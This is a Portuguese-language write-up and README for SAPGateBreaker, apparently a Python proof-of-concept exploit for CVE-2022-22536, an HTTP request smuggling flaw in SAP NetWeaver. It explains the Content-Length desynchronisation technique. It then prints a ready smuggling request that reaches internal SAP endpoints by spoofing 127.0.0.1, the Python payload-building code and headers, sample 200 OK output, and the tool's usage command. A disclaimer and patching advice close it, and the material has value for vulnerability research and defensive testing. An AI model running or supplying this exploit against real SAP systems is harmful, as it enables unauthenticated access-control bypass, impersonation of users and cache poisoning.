
O SAPGateBreaker é um exploit de prova de conceito (PoC) para CVE-2022-22536, uma vulnerabilidade crítica de HTTP Request Smuggling no SAP NetWeaver. Ele demonstra como contornar ACLs ao dessincronizar o parsing de requisições entre o ICM e os serviços de backend usando payloads elaborados baseados em Content-Length.
SAP NetWeaver Application Server ABAP, SAP NetWeaver Application Server Java, ABAP Platform, SAP Content Server 7.53 e SAP Web Dispatcher são vulneráveis a contrabando de requisições e concatenação de requisições. Um atacante não autenticado pode prefixar a requisição de uma vítima com dados arbitrários. Dessa forma, o atacante pode executar funções se passando pela vítima ou envenenar caches Web intermediários. Um ataque bem-sucedido pode resultar no comprometimento total da Confidencialidade, Integridade e Disponibilidade do sistema.
SAPGateBreaker é um exploit PoC para CVE-2022-22536, uma vulnerabilidade crítica de Contrabando de Requisições HTTP no SAP NetWeaver. Ele demonstra como contornar ACLs dessincronizando a análise de requisições entre ICM e serviços backend usando payloads baseados em Content-Length manipulados.

A vulnerabilidade identificada como CVE-2022-22536 representa uma falha crítica no SAP NetWeaver Application Server, expondo instalações a ataques de Contrabando de Requisições HTTP. Esta vulnerabilidade, com pontuação CVSS de 9.8, afeta tanto as pilhas Java quanto ABAP, permitindo que atacantes contornem mecanismos de controle de acesso e interajam com aplicações internas como se estivessem na rede interna.
Entendendo o Contrabando de Requisições HTTP
O Contrabando de Requisições HTTP (HRS) é uma técnica avançada que explora discrepâncias na forma como diferentes componentes de uma infraestrutura web (tipicamente proxies, balanceadores de carga e servidores backend) interpretam os limites entre requisições HTTP. Ao manipular cabeçalhos como Content-Length e Transfer-Encoding, um atacante pode "contrabandear" uma requisição maliciosa que fica dessincronizada do que o servidor backend espera.
Em essência, quando um servidor front-end e um servidor back-end discordam sobre onde uma requisição termina e a próxima começa, um atacante pode injetar uma segunda requisição oculta que será processada com confiança elevada. Isso frequentemente resulta em desvios de segurança como evasão de WAF, envenenamento de cache ou desvio de ACL.
A Natureza do CVE-2022-22536
O ICM (Internet Communication Manager) do SAP analisa incorretamente requisições HTTP manipuladas, permitindo que uma requisição contrabandeada alcance serviços internos. Isso é particularmente impactante em arquiteturas segmentadas, onde o acesso direto a serviços internos é restrito. Explorar essa vulnerabilidade permite que atacantes emitam requisições que parecem originar-se da rede interna confiável.
A vulnerabilidade se manifesta quando um payload abusa de interpretações conflitantes do final de uma requisição HTTP. Isso comumente envolve injetar um cabeçalho Transfer-Encoding: chunked ou manipular o campo Content-Length para causar a dessincronização.
Falhas Iniciais de Payload e Rejeição de Codificação Chunked
Durante os testes, payloads que utilizavam técnicas canônicas de contrabando chunked resultaram em respostas 408 Request Timeout do SAP ICM. Esse comportamento indicou que a pilha HTTP do SAP não suporta Transfer-Encoding: chunked da maneira esperada, impedindo a dessincronização baseada em chunked tradicional.
Como resultado, a metodologia do exploit mudou para usar cabeçalhos Content-Length para dessincronização. Uma requisição manipulada com um payload chunked vazio seguido por uma requisição HTTP secundária válida contornou com sucesso os limites de requisição. Essa estratégia alternativa se mostrou eficaz para contornar controles de acesso internos.
Estratégia Final do Exploit e Implementação do Código
O exploit funcional envia uma requisição POST para um endpoint público (/sap/admin/public/default.html) com um cabeçalho Content-Length, seguido por uma requisição GET embutida destinada a acessar um recurso interno.
POST /sap/admin/public/default.html HTTP/1.1
Host: 172.32.22.7:50000
Authorization: Basic YTph
Cookie: saplb_*=(J2EE7364720)7364750
Content-Type: application/json
Content-Length: 128
0
GET /sap/bc/webdynpro/sap/appl_soap_management HTTP/1.1
Host: 127.0.0.1
X-Forwarded-For: 127.0.0.1
Connection: close
Isso resulta em um acesso interno bem-sucedido:
HTTP/1.1 200 OK
Server: SAP NetWeaver Application Server
Content-Length: 4465
Content-Type: text/html
Connection: Keep-Alive
A implementação itera por uma lista de URLs internas do SAP que normalmente são restritas. É feita uma comparação entre o código de status recebido via acesso direto e o recebido quando acessado através da requisição contrabandeada. Se o acesso interno retorna 200 (enquanto o acesso direto retorna 403 ou 404), isso indica que a técnica de contrabando contornou com sucesso os controles de acesso internos.
A lógica para construir o payload:
def build_smuggled_request(path):
return f"0\r\n\r\nGET {path} HTTP/1.1\r\nHost: 127.0.0.1\r\nX-Forwarded-For: 127.0.0.1\r\nConnection: close\r\n\r\n"
O ataque é executado usando uma requisição POST manipulada contendo o payload contrabandeado:
headers = {
"Host": f"{host}:{port}",
"Authorization": "Basic YTph",
"Cookie": "saplb_*=(J2EE7364720)7364750",
"Content-Type": "application/json",
"Content-Length": str(len(body.encode("utf-8")))
}
Resultados Observados
Em vários casos de teste, endpoints como /sap/public/bc/icf/info ou /heapdump/, que normalmente retornavam 403 Forbidden ou 404 Not Found, responderam com 200 OK quando acessados através da requisição contrabandeada. Isso demonstra uma circunvenção bem-sucedida dos controles de acesso do SAP.
A saída da ferramenta incluía tanto os payloads enviados quanto os cabeçalhos de resposta, permitindo validação forense precisa:
>>> Sent Payload:
POST /sap/admin/public/default.html HTTP/1.1
Host: 172.32.22.7:50000
...
>>> Received Response:
HTTP/1.1 200 OK
Server: SAP NetWeaver Application Server
...
Requisição Normal:


Requisição Exploit:


Conclusão
O CVE-2022-22536 destaca a ameaça persistente representada pelo Contrabando de Requisições HTTP em pilhas de software empresarial modernas. O proof-of-concept apresentado é uma demonstração da vulnerabilidade subjacente e serve como ferramenta para validação e testes de defesa.
Administradores são fortemente aconselhados a aplicar as atualizações de segurança do SAP e implementar proteções adequadas de proxy reverso para evitar a propagação de requisições HTTP malformadas.
Mais detalhes sobre o CVE-2022-22536 podem ser encontrados em: https://nvd.nist.gov/vuln/detail/CVE-2022-22536
Nota de Segurança SAP: https://launchpad.support.sap.com/#/notes/3123396
SAPGateBreaker Exploit
SAPGateBreaker é uma ferramenta Python independente que automatiza testes para CVE-2022-22536, uma vulnerabilidade crítica de Contrabando de Requisições HTTP no SAP NetWeaver Application Server.
Uso
python3 sapgatebreaker.py -u http://<target-host>:<port> [--verbose]
Argumentos:
-u, --url: URL alvo (ex.: http://172.32.22.7:50000)-v, --verbose: Ativa saída detalhada de cabeçalhos e corpo para cada requisição e respostaFuncionalidades:
poc.txt para análise posteriorAviso Legal
Esta ferramenta é destinada apenas para testes de penetração educacionais e autorizados. O uso não autorizado contra sistemas sem permissão explícita é estritamente proibido e pode violar leis aplicáveis.